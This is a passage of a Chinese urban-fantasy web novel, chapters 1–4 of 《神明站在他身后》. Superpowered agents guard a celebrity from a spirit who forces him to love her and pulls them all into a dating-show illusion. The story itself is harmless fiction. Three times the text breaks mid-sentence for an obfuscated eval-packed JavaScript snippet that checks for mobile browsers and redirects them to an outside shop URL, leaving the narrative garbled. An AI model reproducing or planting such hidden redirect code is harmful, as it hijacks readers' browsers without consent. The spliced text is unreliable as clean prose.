《神明站在他身后》 1. 任务 三天前,白川在执行任务的时候救了一个人。 那人站在火海里,巨大的水晶吊灯在他头顶上烧得摇摇欲坠。 晶莹剔透的灯体折射出绚烂的火光,映在那人的脸上,像是不断扭动的妖冶图腾。 怪好看的。 这样的念头在白川的脑海里一闪而过。 真的只是一闪而过,因为下一秒,天花板和吊灯间最后一根连线被火烧断,庞大的吊灯重重地砸了下来,而这家伙还是呆呆地站在原地,完全没躲。 白川皱了皱眉,右手捏了个诀,几乎是闪现到那家伙身边,用力扯住了他的胳膊,拽着他躲开。 水晶吊灯在他们身后砸得粉碎,迸溅的碎片落在他们脚下。 白川放开手,拍了拍袖子,下意识地瞟了那家伙一眼——白瞎了一张脸,可惜是个傻子。 任务里救人这种事,对白川来说属于是家常便饭了,他以为这家伙也和之前自己救过的那些人一样,不过是一面之缘。 然而就在刚刚,在山海联盟的团建现场,白川于一众的陌生面孔中,又一次看到了那个家伙。 但那个家伙却一改火场里惊慌失措呆滞木讷的样子,在觥筹交错的酒会上如鱼得水,对着不同的人微笑碰杯,纤长的手指很妥帖地举着高脚杯,活脱脱一个从霸总文学里走出来的年轻继承者。 白川皱着眉头,思考起一些小概率事件的可能性,比如说有没有一种可能——眼前这位和火场里那个家伙是性格迥异的双胞胎什么的。 忽然,他的身后走过来一个人,大大咧咧地拍了拍他的肩膀:“川哥,找了你一圈,怎么在这儿呢?” 说话的叫游雾,是个挑染了灰色头发,装束叛逆的朋克少年,看起来年纪不大,实际上却是山海联盟A队的队长,白川的顶头上司。 游雾熟络地搭上了白川的肩膀,酒杯朝那个“傻子”的方向举了举,和“傻子”隔空碰杯,然后扭头跟白川招呼:“川哥,你看到那位没,那个那个,长得最好看的那个!” 长得最好看这一限定词一说出来,这个人是谁就非常显而易见了。 还没等白川回应,游雾已经自顾自地介绍起来:“他就是我之前跟你介绍过的,新加入我们A队的天才,祁望。” 游雾的嘴角都压不下去了,满脸都是不掩饰的喜悦:“咱们A队今年来了个你,又来了个祁望,这下子真是藏龙卧虎了,我今年KPI绝对超额完成!” “天才?”白川唇齿轻轻碰在一起,抛出一句简短又带着几分质疑的反问。 显然,他无法把那个吊灯砸到身上都不知道躲的家伙和“天才”这两个字联系到一起去。 “对!天才!后台系统显示他的异能峰值仅次于你,是这么多年来难得一遇的天才!疗愈系的天才!”游雾似乎没觉察出白川的异常,依旧兴冲冲地介绍着。 游雾说话的同时,白川正轻描淡写地打量着离自己不远的祁望。 三天前,在火场里,蒸腾的热气让白川看不太清祁望的脸。 他只记得好看,但记不清是哪种好看。 而这会儿他和祁望相对而立,距离不过一米多,房间柔和的灯光打在祁望的脸上,他感受到了祁望凌厉的五官带来的直白冲击。 他不得不承认,虽然是个傻子,但这个傻子身量挺拔,眼眸深邃,在闹市区随便走一圈说不定都会被星探盯上。 好看的傻子。 他正胡乱想着,远处的祁望似乎注意到了他的目光,和身边的人寒暄了几句,就朝白川和游雾走来:“游队!还有这位,您是……白先生对吧!” 还没等白川应声,祁望已经开始连声道谢: “三天前还真是多亏了白先生,没有你的话,我可能就直接死在火场里了……” “当时一见到白先生就觉得亲切,居然就成了队友,我和白先生还真是有缘分……” “我这两天听说了不少白先生的事迹,希望之后有机会多和白先生学习学习……” 白川平日里话少,一向有点e人恐惧症,听着眼前这家伙口若悬河,自己越发说不出话来。 本想求助于游雾,可好巧不巧,游雾忽然来了一通电话,抽身离开了。 祁望见白川一直不吭声,忽然在他的面前挥了挥手:“白先生,想什么呢?” “没什么。” 祁望笑了笑:“没什么就好,我还以为……” 白川随口接话道:“以为什么?” 祁望挑了挑眉,似乎白川的接话正中他下怀,他笑着凑近,用只能被白川听到的音量轻轻回答道:“刚才看到白先生盯着我看得这么认真,在我面前又说不出话来,不知道的还以为你喜欢我呢……” 白川:“……” ??? 他下意识地瞟了一眼游雾:山海联盟现在招新只看异能不看人品了么?怎么这种胡言乱语油嘴滑舌的也能招进来啊喂! 游雾刚好这会儿回头,对上了白川怨怼的眼神。 但游雾这人神经大条,毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300242|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无意识,他只晃了晃手机:“川哥,来活了,电话是林翼打来的。” 就算是白川这种毫不关注娱乐新闻的人,对林翼这个名字也并不陌生。 林翼是如今最当红的明星,在娱乐圈各种类型的排行榜上都稳坐第一名的宝座,连白川也多多少少听过一些他的作品或者八卦。 游雾压低了声音:“他说他被灵物缠上了。” 说着,他笑了笑,把手里的红酒杯放下,朝白川和祁望示意:“怎么样?一起出个任务?” * 委托人林翼直接把见面的地址约在了他正在拍摄的恋综现场,那是一处山水俱佳的中式园林。 庭院门扉大开,原本应该宁静祥和的环境这几日十分嘈杂,隔着很远,白川也能听见叮叮咣咣的声响,和不绝于耳的人声。 白川从门口往里望去,一眼看到了几台架得很高的摄像机。 “林翼倒是挺坦荡的,这种事情也敢约在录制现场。”祁望不由得感慨。 “灯下黑,他这样的人应该最懂得,这种地方或许对他来说最安全。”游雾道。 还没等他们聊上几句,门外停车场一辆房车上走下来一个人。 纵然隔着一段距离,几人也能很直观地感受到他精致的长相和出尘的气场。 林翼刚刚做完妆发,妆容精致,头发柔顺地垂着,每一处小卷儿都精心设计过,皮肤白净得仿佛没有血色,像是个精致易碎的瓷娃娃。 瓷娃娃快步走上前,一边招呼着,一边把几位引上了自己的房车:“几位可算来了!您就是游先生吧?我没猜错的话,这位是白先生,那另一位是最近新加入联盟的祁望祁先生?” 听到林翼把几人的名字熟门熟户地喊出来,一直吊儿郎当的游雾表情凝了一瞬。 山海联盟作为一个秘密组织,接到电话委托这件事情本来就够奇怪的了,更不用说打电话过来的人仿佛把他们的底细都摸得清清楚楚。 于是他用调侃的语气揶揄道:“大明星不愧是大明星,消息就是灵通,什么都知道。” 房车的车厢本来就不大,这会儿塞进去四个人,更显得狭窄逼仄。 游雾说这话的时候用的是调侃的语气,但混迹在娱乐圈里的没有哪一个不是人精,还是很容易觉察到只言片语里面的火药味。 林翼笑了笑,笑容一如他在所有综艺节目上的一般明媚,开口的声音也很是清亮:“几位放心,我真的没有恶意,我知道你们,是因为我已经找了你们很久了。” 2. 扯平 给几人倒了茶,林翼终于慢悠悠地开口: “我找了你们很久。” “最初的时候,我只是听说有个组织,里面都是异能者,专门和那些藏在阴影里的上古灵物打交道。” “再后来,我辗转打探到了组织的名字,知道它叫山海联盟,也听说联盟有个很年轻但其实资历很深的组长,也就是游雾先生您。至于白川先生和祁望先生的名字,我倒是最近一个多月才听到的……” 作为一个秘密组织的小头目,听到别人在一旁说起自己的组织,像是讲自家后花园一样熟络,游雾的眉头越锁越深。 白川坐在游雾的身侧,用手轻轻按了一下他的肩头,然后很直白地问林翼:“你为什么找我们?” 林翼明白自己被游雾误会了,连忙应声:“几位放心,我真的没有刻意窥探你们行踪的意思,我这样做,完全是为了自保!” “自保?”一旁沉默着的祁望忽然重复了一遍这个词。 “对,自保,”林翼的眼睛躲闪,似乎想到了什么很恐怖的事情,他双手颤抖着捧着杯子喝了口茶,“我在找你们,是因为我知道只有你们能救我。” 录制现场人多耳杂,房车外不远处的地方有不少工作人员走动,于是林翼把声音压得很低很低:“有个人已经纠缠我很久了,哦不对,不是人,她不是人……” 沉沉的低语像是深夜里的诅咒,在林翼刻意压低的声线里,白川恍惚听见了别的声音—— 他听到一个女人在笑,不是欢快的笑,倒像是冷笑或者嗤笑。 很轻很轻的一声,轻到白川以为自己在幻听。 一旁的林翼似乎没听到什么异常的声响,他仰起头又喝了口茶,然后深呼吸了几次,终于,把他想告诉他们的一切娓娓道来—— 他说那是五六年前的事儿了。 那时候自己还是个没什么名气的小练习生,和很多有着一样梦想的练习生们一起集中式训练,走着比独木桥还要窄的路,僧多粥少,看不见希望。 一次团建活动,他们去山林里露营。 他想绕到河边去洗洗脸,误打误撞地,走进了林间一处荒芜的庙宇。 庙宇里没有神佛,没有菩萨,也没有供奉的香火。 高台上只有个一人高的泥人像,只能看出是个女子,看不清面目。 泥人像的眼睛直勾勾地落在他身上,林翼忽然觉得脊背发寒,于是哆哆嗦嗦地转过身,打算离开这个邪性的野庙,却在离开之前,听到高台上传出女人的声音。 那声音温柔极了,慢悠悠地说:“你想成为万众瞩目的明星是么?我帮你。” 林翼鬼使神差地扭过头,高台上还是那个泥人儿,但泥人的嘴唇却在动:“别怕。” 他还是很怕。 但他怕自己籍籍无名,胜过怕眼前的泥人。 于是他一寸一寸地转过身来。 泥人难以辨认五官的面目似乎逐渐清晰起来,身上的泥一块块融化,脱落,落在铺着青砖的地面上,像是地面上生出一块块疤。 随着泥土的融化,泥人终于露出了本身的面目——是个女子。 话本里每每讲到这种乡间林野里的女妖怪,都说她们倾国倾城,婀娜多姿,但林翼遇见的这一位不太一样,她实在算不得好看。 但那时候的林翼自然无暇顾及这些,他只在乎她如何能让自己实现梦想,又需要付出怎样的代价。 “后来呢?”游雾是几人里面听故事听得最认真的。 “后来,如你们所见,我确实有了些名气,”林翼叹了口气,他抬了抬手,看了看手腕上价格不菲的名表,还有做工精良的袖扣,“但这些东西,都有它们的价格。” “她让你付出了什么代价吗?”游雾好奇地问道,然后想到什么似的,小声惊呼道,“啊,难不成是卖身?灵物也会搞潜规则这套吗?” 林翼无奈地摇了摇头:“那倒也没有,她没对我真的做什么,但是——” “但是什么?” “她要我爱她。”林翼的脸上有种说不清道不明的情绪,“不能虚情假意,不能逢场作戏,她逼迫我,真真切切,长长久久地爱她,只能爱她。” 听故事的几个人神色也都跟着沉了下去。 这不是他们能够预料得到的故事走向——一个深居山林的灵物,当然可以和人类做交易,交易钱财,交易血肉,交易权力,甚至交易情欲——但不该是爱情。 到底是怎样的灵物会想要逼迫别人爱上自己? 人类的生命最多不过百年而已,而灵物却能活几千年。 对于一个活过几百上千年的灵物来说,短短几十年的人类的爱意,真的有什么意义吗? 白川想不明白。 “你拒绝她了么?”白川问道。 林翼点了点头,隔着一张并不大的桌子,白川看见林翼的眼神里满是躲闪和恐惧:“我拒绝过好几次,本来她也没那么坚持,我们也算是相安无事,但是最近我不是在拍摄恋综吗?她……” 林翼说话的声音越来越小,像是有什么顾虑不敢开口,于是游雾接着他的话头说道:“懂了,你拒绝了她之后,接了个恋综,她气急败坏,开始威胁你?” 林翼沉默着点了点头。 “那你叫我们来具体是做什么?你已经知道她下一步要怎么对付你了么?”游雾问。 林翼咬了咬嘴唇:“实话实说,我并不是很清楚,但我最近总有预感,我觉得她随时都可能出现,把我从舞台上拉到深渊里,我真的……我真的很害怕。” 说着,林翼按了按紧绷的眉心,直视着游雾的眼睛,诚恳道:“所以我想……我想……” 看林翼吞吞吐吐的,白川帮他补全了这句话:“所以你想让我们在这里保护你。” 林翼重重地点了点头。 “你们放心!不会让你们白白保护我的,你们想要什么,我都可以给你们!你们只需要等她出来的时候,收服她,带走她,或者杀了她……随便怎么样,只要不让她在出现在我的生活里!” 说着,林翼回身从桌子下面的抽屉里翻出一本支票簿,“你们尽管开价!我都可以接受的!” 游雾还有点儿犹豫,白川却先开口了:“我们接了。” 林翼的目光一下子亮了起来,欣喜地表示:“有什么需要你们尽管提!什么都行!” 白川没说话,他一向不喜欢说太多话。 而且队长就在自己旁边,商业谈判的事儿显然也不需要自己开口。 而他接下这个单子,只是因为他很好奇。 他不曾见过灵物和人类之间的爱恨,他很好奇,一个一心求爱的灵物该是什么样子的。当然也很好奇,一个被灵物爱上的普通人会是什么样的人。 十几分钟后,三人从房车中走了出来,立刻有几位助理走上前来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300243|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,提着大包小包的东西,这是林翼安排他们采买的日用品—— 林翼希望白川他们能在现场陪同他录制节目,于是干脆给他们备了些洗漱用品和换洗衣物,让他们仨也跟着一起搬进了园子里,就住在自己的小院隔壁。 去房间里小小地转悠了一圈后,白川推门走了出来,在树荫笼罩的院子里踱步。 游雾和祁望还在收拾东西,院子里静悄悄的,只有偶尔几声鸟鸣,和树叶被风吹动的沙沙声。 白川走得很慢,一边走,一边回忆林翼在房车里讲的故事。 他闭上眼,耳畔的风声和鸟鸣一点点远离自己,而回忆里的声音则愈发真切。 他听到林翼近乎哭诉的低哑声音:“不能虚情假意,不能逢场作戏,她逼迫我爱她。” 恍惚间,他又回想起自己听到的那一声轻笑,那声不屑的,无奈的,女声的冷笑。 想到这里,他忽然真真切切地听到了一声轻笑——就在他的耳侧。 他猛然睁开眼,撞入眼帘的是和自己靠得很近很近的一张脸——棱角分明的轮廓和深邃的眼窝,一双亮晶晶的眼睛里含着笑意——是祁望。 “没事儿出来吓什么人?”白川开口就是一句责备。 祁望却只是笑笑,也不后退,保持着这种有点亲密的距离:“我可是站在这里好一会儿了,一点儿也没动,是白先生你自己往我身上撞的,怎么还怪上我了?” 说着,他又调侃道:“上次白先生救我的时候,曾告诫我,作为异能者要时刻注意到身边的危险,这叫什么?严于律人宽以律己?” 白川觉得这家伙有点儿聒噪,懒得理他,皱着眉头后退一步,却差点踩空,眼疾手快的祁望一把拉住他的小臂,借势把他往自己怀里带了一下。 “白先生怎么这么不小心?”祁望又开始嘴贫,他揽着白川的手臂收紧了些,扶着白川站稳,忽然笑了起来,“白先生,你之前拽了我一把,这次我拉了你一次,我们是不是扯平了?” “扯平?”白川觉得这家伙在胡言乱语。 避免死掉和避免摔跤的两件事是可以相互扯平的么? 他和那个不知道躲的愚蠢家伙也显然不可以相提并论! “不算扯平?”祁望眨眨眼,继续胡诌,“也是,扯平多没意思,还是相互亏欠更有意思,白先生是不是也这么想?” 白川:“……” 想你妹啊想! 他闭上眼睛平静心情,克制着自己不要对同组的队员动粗。 前几天他在网上看到一个词叫“i人地狱”,此时此刻他第一次深刻地理解了这个概念。 他觉得他这种社恐i人的地狱根本不需要多复杂,只需要在身边塞一群聒噪的祁望就好了——哦不对,甚至都不用一群,一个就够了。 想到这里,他才意识到祁望甚至还抓着自己的手臂,一直没有放开。 于是他重重地打了一下祁望的手,祁望则笑着把手挪开。 游队那边刚慢悠悠地收拾完行李,一出门就撞见了面对面站着的两人—— 白川神色冷淡,看起来有点生气,而祁望嬉皮笑脸,像是什么捡了好处的小学生。 游雾忽然觉得有点头疼—— 自家队里两个顶尖的异能者,怎么好像结了什么梁子,莫名其妙地气场不和? 正想着要怎么上前打个圆场,忽然,小院门口响起了叩门声。 3. 恋综 门口站着的是林翼的助理:“几位,翼哥说节目稍后会开始准备,想请你们先去录制现场坐一坐。” 跟着助理绕过几处回廊,白川一行人走到了节目的录制现场。 落座后,游雾一边看着节目单,一边感慨:“顶流就是顶流,一个恋综都能搞得这么花哨。” 白川顺着他的手指着的方向去看,看到了节目单上的环节设置——小楷的字体印着几行字—— “欲得周郎顾” “能饮一杯无” “愿为双飞鸟” 白川:“嗯,果然花哨。” 一旁给他们带路的工作人员笑了笑:“我们这档节目是国风主题的恋综,除了常规的恋综环节之外,也希望能多多宣传传统文化,所以给情节起了些文雅点儿的名字。” “那这些环节具体要做什么呢?”游雾好奇地问。 “欲得周郎顾——这个是个破冰小游戏,每个人说三句关于自己的话,里面要有两句真话和一句假话,其他人可以来猜哪句是假话。嘉宾们可以通过这个小活动给别人留下更深刻的印象哦。”小姐姐很耐心地解释着。 “能饮一杯无——这个是约会环节,嘉宾们要佩戴我们的心跳监测手环和好感的对象约会,心跳如果达到了100,就会被算是心动哦,双方的心跳都达到100,就算通关的。” “至于这个愿为双飞鸟,是互选环节啦,我们给互选成功的嘉宾们准备了传统的婚书纸笺,嘉宾们可以听凭心意,在上面留下自己的所想所感,或者许下白首不相离的承诺。” “哦哦这样啊,”游雾对工作人员道了谢,然后转向了白川,附在他耳畔小声说,“起了几个花里胡哨的名字,游戏环节设置倒是挺常规的,也不知道会不会搞出什么花样来。” 几人正胡乱讨论着,忽然,外面人声嘈杂了几分,三人朝声音传来的方向看去,只见众星捧月一般,林翼出现在几人的视野里。 林翼朝他们点头示意,找准了机位,在合适的位置站定,随后,几位之前没有官宣过的嘉宾也跟着走到了台上。 四男四女,不是明星就是网红,个个光彩夺目。 白川看着游雾脸上藏不住的喜悦,不禁调侃他:“怎么,看到长得好看的这么开心的么?” “那当然!”游雾语气轻快,神采飞扬,“这里岂止有帅哥美女,这里有A82对CP可嗑啊!” 白川没太理解A82这个表述。 游雾随口解释道:“这东西叫排列组合,川哥你之前没学过。不过不重要!就是可以随意嗑胡乱嗑,想怎么嗑就怎么嗑!明白吗?不明白?你们不懂嗑cp的真是没福咯!” 白川只笑了笑,不再和游雾闲扯,目光重新落在台上八位嘉宾身上。 最近天气热,傍晚了,风还是温吞吞的,落日的淡金色余晖洒落在台上几个人的脸上,每个人都很养眼,林翼尤其。 明明是很简单的装扮,却足够干净清爽,甚至显得其他人有点儿用力过猛。 顶流就是顶流,和普通人,甚至和普通明星都显然有壁。 想到这里,白川的脑海中居然不自觉地浮现出了一张脸,那张确实讨人厌却也实在好看的脸。 纵然心里对祁望这家伙有一百个不满意,但坦诚来讲,祁望确实长了一张看起来能和林翼瓜分娱乐圈天下的脸。 白川的目光散漫地落到了祁望身上,他这才忽然意识到了什么,连忙移开目光,扭头朝布景之外的地方看去。 他的视线随意飘荡着,忽然,停在了某一处——在一旁回廊的角落里,他看到了一个身影。 那是个女生,个子小小的,瘦得仿佛营养不良,头发有点乱,焦黄干枯,很随意地用黑色的皮筋挽在脑后,没化妆,皮肤苍白得近乎没有血色,穿着最普通的T恤和长裤,T恤的领口松垮变形。 周围全都是光鲜亮丽的明星和网红,或者时尚精致的媒体工作者,更显得这个女孩儿的身影突兀至极。 而这种突兀,让白川莫名感到熟悉。 他努力在记忆里检索着,终于想起来,一周前的一个晚上,太阳刚落山,晚霞也刚褪色,他刚执行完一个任务,走在江市最繁华的CBD街区。 华灯初上,亮满了灯的CBD写字楼和黄金地段的高端商场遥相对立。 商场外面的玻璃幕墙循环播放着粉丝们投放的大屏广告——刚好是林翼的生日应援。 那些被粉丝称作“神图”的硬照在屏幕上耀眼得很,白川都多看了几眼。 大屏下面围了一群过来打卡庆生的粉丝们,一个个妆容精致,都把自己打扮成了最好的状态。 白川从那些狂热的粉丝们身边走过,稍微走了点神,差点撞见一个女孩儿。 他连忙说了声抱歉,正要转身离开的时候,却发现那个女孩儿似乎视力不太好,目光不太聚焦,走起路来步子也迈得小心翼翼的。 白川的视线落在那个女孩儿手里攥着的海报上,又抬头看到了女孩儿一脸迷茫的神色。 于是他开口轻声询问:“你好,你需要帮忙吗?” 女生犹豫着开口:“谢谢你。如果方便的话,你能帮我和这个屏幕合张照片吗?” “当然。”白川答应得很爽快。 快门按下,白川还记得手机屏幕上定格的照片—— 应援大屏上,林翼在耀眼的舞台上闭着眼唱歌,身后漫天彩带飘落。 而大屏前,女生飘散的目光努力望向镜头,干枯的头发,松垮变形的T恤显得和周遭的一切格格不入。 一模一样的突兀。 一模一样的一张脸。 一周之内,白川居然又一次见到了她。 那个女孩儿似乎也注意到了白川的目光,她忽然抬起头来,回望向白川,笑了笑。 那笑容在她脸上也显得很是突兀,像是一个很久没笑过的人努力扯出一个苦涩的笑容来。 与此同时,白川忽然觉察到有浓重的灵物气息扑面而来——像是一阵千年之前的风吹来,潮湿又阴冷。 危险的气息让他下意识地一左一右分别扯住祁望和游雾的衣袖。 与此同时,原本晴朗的天空中,炸雷骤响,豆大的雨点没有给人们留下一点儿反应的时间,立刻就砸在了屋顶、地面、还有没来得及躲开的人身上。 电闪雷鸣,雨幕越来越密实,相隔超过一米就根本看不清人。 现场的工作人员们一边拼命抢救着那些精密且价值不菲的仪器设备,一边大声咒骂着夏天的鬼天气。 震耳欲聋的落雨声和嘈杂的人声中,白川听到了一个女人的声音,语调柔和极了:“欢迎各位,来参加我们的恋爱综艺。” 话音落地,白茫茫的闪电炸开,瞬间晃得白川什么都看不见了。 雨声竟然也跟着一同停滞了,白川用力地眨了一下眼睛,视力终于恢复如常,斜阳又挂在山头,地面上也干干爽爽的,好像方才的暴雨根本没有发生过。 白川环顾四周,方才混乱的人群全都不见了,连他抓住了衣袖的游雾都消失了,他的身边忽然只剩下祁望一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300244|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他看向祁望,本想安抚几句,但祁望并没有白川想象中那么慌张,而是轻飘飘地对白川说了句:“看来我们入局了。” 白川点了点头。 没错,他们入局了。 “入局”是异能者做任务的时候会碰到的一种情况。 常规情况下,灵物释放的结界是叠加在现实世界中的,比如之前白川救下祁望的那场火,结界里的火焰在燃烧,连带着现实中的场地也一起燃烧。 但有些灵物会更厉害的术法,就像是给现实世界撕开了一个裂缝,创造出一个独特的小时空。 进入这样的裂缝结界,被异能者们称之为“入局”。 入局显然不是什么好事。 常规的结界有很多种出去的办法,大不了就硬闯。 而入了局,则几乎只剩下一条路——找到灵物的弱点,让它心甘情愿地解除结界。 理论上似乎也可以硬闯,但就算硬闯成功,也会大伤元气,很划不来。 白川正这样想着,忽然听到身旁的祁望声音很轻地笑了一声。 “你笑什么?”白川不解。 祁望低头看了一眼还抓在自己衣袖上的白川的手,温声道:“白川先生这是怕我丢了?” 白川冷冷地哼了一声,松开了手,还刻意地擦了擦手指:“放心,你要是真丢了,我会放个鞭炮去庆祝一下的。” “那川哥还不如去放个烟花,烟花浪漫一点,我不喜欢鞭炮声。”祁望还是笑盈盈的。 他之前都是管白川叫先生,这会儿忽然跟着游雾喊起了川哥,白川觉得很不习惯。 还没等白川再开口吐槽些什么,那个女人的声音又在空旷的场地里响起来了:“久等了各位,我是本次恋综的主持人阿蛮,再次欢迎大家。” “此刻站在大家身边的,是和各位匹配度最高的嘉宾哦,相信几分钟的相处,已经让大家更熟悉彼此了。” 听到这话,白川皱着眉头瞟了一眼身边的期望,颇为无语,这个灵物还真是喜欢开玩笑—— 把两个男人匹配到一起也就算了,还说什么他们匹配度最高? 阿蛮没有给他留下什么反驳的时间,自顾自地开口:“那么,我们的节目就正式开始啦,首先,有请嘉宾们登场。” 话音刚落,白川和祁望身边凭空出现了六个人的身影,白川一眼看到了角落里的两个,正是林翼和白川刚才见到的那个女孩儿。 女孩儿连装束都没怎么变,朴素到近乎简陋的t恤,厚重的眼镜,干枯的发丝,和林翼站在一起,怎么看都是两个世界的人。 她应该就是林翼提到的那个荒野庙宇里的泥人,那个逼迫林翼爱她的丑陋灵物。 也就是刚才声音里提到的那个“阿蛮”。 而此刻,这个灵物就站在林翼的身侧,很熟络地挽着林翼的胳膊。 从白川的角度看不到林翼的脸,但那看起来并不紧绷的身体,以及微微弯起的手臂,怎么看都算不得抗拒。 “川哥!川哥!” 熟悉的喊声打断了白川的思绪。 白川这才把目光投向剩下的几人。 游雾正和一个高挑的女生并排而站,女生应该是被邀请来的节目嘉宾,亭亭玉立,气质很好。 另外两个人也是节目组请来的嘉宾,女生留着干练的短发,男生的着装很是商务休闲,两人看起来也很登对。 看了他们两眼,白川的眉头忽然越锁越深。 他轻声跟身边的祁望说:“这些人不对劲。” 4. 淘汰 “嗯,他们被控制了。”祁望的声音也放得很轻。 这三位普通人神色表情毫无异样,但就是因为毫无异样,才显得奇怪——普通人被迫入局,看到这种超现实的情形场景,慌乱不安才是合理的表现。 那林翼呢?林翼也被控制了么? 祁望眨了下眼,忽然扭头喊了一声:“林先生?” 林翼应声转过身来,面朝白川和祁望,很有礼貌地点头笑了笑,对阿蛮搭在自己臂弯上的手毫不抗拒,甚至还附在阿蛮耳畔向她介绍起自己这三位“老朋友”。 果然,也被控制了。 这个灵物把一些被控制的普通人和几个异能者拉来这里来,到底是为了什么? 阿蛮没有给几人留下思考的时间,她挽着林翼,往前走了两步,直白地开口:“既然是恋综,那我们也别说什么废话了吧,直接进入第一个环节——欲得周郎顾。” 祁望的轻笑声在众人沉默的间隙里显得有点儿突兀。 阿蛮语气温和地提问:“你笑什么?” “笑你太忙,”祁望回答道,“又要当嘉宾,又要做主持,辛苦了。” 阿蛮歪了歪头,笑着回应:“不辛苦,我喜欢这么做。” 游雾这会儿已经凑到了白川身边,听了阿蛮的话,他小声吐槽道:“跟林翼参加自导自演的恋综,她当然喜欢了。” 阿蛮没管这些,认认真真地cue着流程:“请每位嘉宾说三句话介绍一下自己吧,其中要有两句真话和一句假话哦,多说真话或者假话的都会被淘汰出局哦。” 游雾的眼睛狡黠地转了转,对白川说:“那如果我全说真话,被淘汰了,是不是就出去了?” 祁望摇了摇头:“还不能确定她说的淘汰出局的意思,说不定就死掉了,还是别冒险了。” 游雾却不以为然:“放心放心,我没那么容易死,川哥有没有和你提过,我没什么特别的异能,就是血厚。” “血厚?” “没错!举个不太合适的例子吧,遇到同样的危险,就算你们都出事了,我应该也还活着。” 说了这话后,游雾连忙呸呸呸了几声:“我就纯举例子啊,祁哥你别忌讳!我就是想告诉你不用担心我。” 祁望还是有点儿犹豫,但见一旁的白川也没说什么,于是相信他一定是有什么自己不理解的道理,到底还是放下心来。 游雾抬起手腕,把皮衣的袖子挽了上去,解开了手腕上系着的手链。 说是手链,其实很简易,就是一根红绳上串了七颗红色的珠子。 游雾从红绳上解下来两颗珠子,分别递给了白川和祁望:“这东西是我之前去招摇山淘来的,这些珠子之间能传递些简单的讯息,不受结界的阻断,你们戴着这样的珠子,就能听见我说的话。” 珠子落在白川的手心,一阵清风一样柔和的白光闪过,珠子旁边生出一根银针来,变成了耳钉的式样。 白川随手把耳钉戴在了右侧的耳朵上。 而他左侧的耳垂上,本就有一颗耳钉,也是红色的,但红得更浓重艳丽些。 “才注意到川哥的戴耳钉,还是单侧的,”祁望调侃道,“听说gay喜欢戴单侧的耳钉,川哥是不是喜欢男人?怪不得……” “怪不得什么?”游雾好奇地凑过来,结果吃了白川一记白眼。 白川没理祁望,祁望却又凑上来:“我只有疗愈系的异能,不会变化东西,川哥方便帮我把珠子也变一下么?” “变成什么?”白川问,“也变成耳钉?” “我没有耳洞。” 白川不以为意:“那就直接戳破。” 祁望又开始调侃他:“那不行,我很怕疼诶,川哥你这么暴力的么?原来你好这口,真是知人知面……” 白川冷冷地看了他一眼,祁望这才抿住嘴停下了话头。 白川随意地挥了挥手,祁望手里攥着的珠子变成了一条简单的项链吊坠,穿在一根细细的红绳上。 祁望笑着把项链系在脖颈上,他这样做的时候,白川刚好移开了目光,没有看到一闪而过的,他脖子上原本戴着的另一条项链。 阿蛮还在催促:“怎么样,大家想好了么?谁要先说自我介绍?” 早已交代好一切的游雾兴冲冲地举起了手。 得到阿蛮的授意后,他说了提前准备好的三句话: “既然是恋综,我就说些恋爱的时候大家会关注的条件?” “第一句,我是个孤儿,选我不会有家庭纠纷婆媳矛盾哦。” “第二句,我还挺有钱的,算是江市首富吧。” “第三句,我没谈过恋爱,感情经历一张白纸。” “倒真像是相亲时候的自我介绍,”祁望笑了笑,在旁边偷偷问白川:“这些都是真的?” 白川点了点头。 “真不错,”祁望一本正经地评述道,“父母双亡,富可敌国,感情史干净,这不是当代最吃香的小说男主人设吗?” 还没等他胡侃完,阿蛮忽然开口提醒道:“我们的规则是两句真话和一句假话,请遵守规则。” “我没有不遵守规则啊。”游雾非常嘴硬。 阿蛮抿着嘴,盯着自己手心里正闪烁白光的一个小石像,然后忽然抬眼:“骗人!你在骗人!你没有遵守规则!你被淘汰了!” 阿蛮的话音落下,她手里的石像上,忽然白光更甚,完全不遵循光沿直线传播的原理,像雾气一般笼罩在游雾四周,几秒钟过去,光线忽然暗掉,游雾也跟着一起消失不见。 “所有的骗子都应该被淘汰!”阿蛮恶狠狠道。 而且她似乎并不肯这样就算了,她的目光又落在了游雾身边的女孩儿身上:“淘汰的话……就要两个人一起淘汰,你去陪他吧!” 然后又是一模一样的白光,那个容貌姣好的女生甚至没来得及辩驳两句,直接就在众人眼皮子底下消失不见了。 白川下意识地摸了摸自己刚刺进去的耳钉,过了一会儿,才终于听到了游雾的声音。 “川哥,祁哥,放心,我没事!” “我现在在一个木屋里面,木屋有点破旧,光线很差,狭窄逼仄。” “那个和我一起的女生也在,她到了这里之后就清醒了,但是清醒之后有点儿过度惊慌,我就干脆给她打了一针让她睡着了。” 